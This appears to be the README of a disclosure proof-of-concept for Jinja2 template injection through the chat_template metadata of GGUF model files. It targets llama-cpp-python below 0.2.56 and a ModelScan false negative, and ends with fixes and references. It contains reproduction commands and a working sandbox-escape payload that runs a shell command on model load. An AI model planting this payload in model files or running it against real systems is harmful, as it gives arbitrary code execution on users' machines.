hoanghai2110/gguf-jinja2-ssti-poc

GGUF Jinja2 SSTI – Security PoC

This is a security research proof-of-concept demonstrating a vulnerability in llama-cpp-python < 0.2.56 combined with ModelScan ≤ 0.8.8.

Vulnerability

A GGUF model file can embed a Jinja2 SSTI (Server-Side Template Injection) payload inside the tokenizer.chat_template metadata field.

• ModelScan ≤ 0.8.8: .gguf files are completely skipped (SCAN_NOT_SUPPORTED). CLI prints "No issues found! 🎉" — a false negative.
• llama-cpp-python < 0.2.56: Chat template is loaded from GGUF at Llama.__init__() and rendered with an unsandboxed jinja2.Environment → arbitrary code execution at first inference call.

Reproduction

pip install modelscan==0.8.8

# Step 1: ModelScan bypass
modelscan -p malicious_ace.gguf
# → "No issues found! 🎉"  (file was NEVER scanned)

# Step 2: ACE trigger (requires llama-cpp-python < 0.2.56)
pip install "llama-cpp-python==0.2.55"
python3 -c "
from llama_cpp import Llama
model = Llama('malicious_ace.gguf', n_ctx=512, verbose=False)
model.create_chat_completion(messages=[{'role':'user','content':'hello'}])
# uid=1000(user)... printed to stdout
"

Payload Location

The SSTI payload is stored in the GGUF tokenizer.chat_template field:

{%- set payload -%}
{%- for c in ().__class__.__base__.__subclasses__() -%}
  {%- if c.__name__ == 'catch_warnings' -%}
    {{- c()._module.__builtins__['__import__']('os').popen('id').read() -}}
  {%- endif -%}
{%- endfor -%}
{%- endset -%}
{{ payload }}

Fix

• ModelScan: Add GGUF scanner; fix CLI to distinguish skipped vs. clean files
• llama-cpp-python: Upgrade to ≥ 0.2.56 (fixed in commit 561e8806, 2024-05-10)

References

• llama-cpp-python security fix: https://github.com/abetlen/llama-cpp-python/commit/561e8806
• ModelScan repository: https://github.com/protectai/modelscan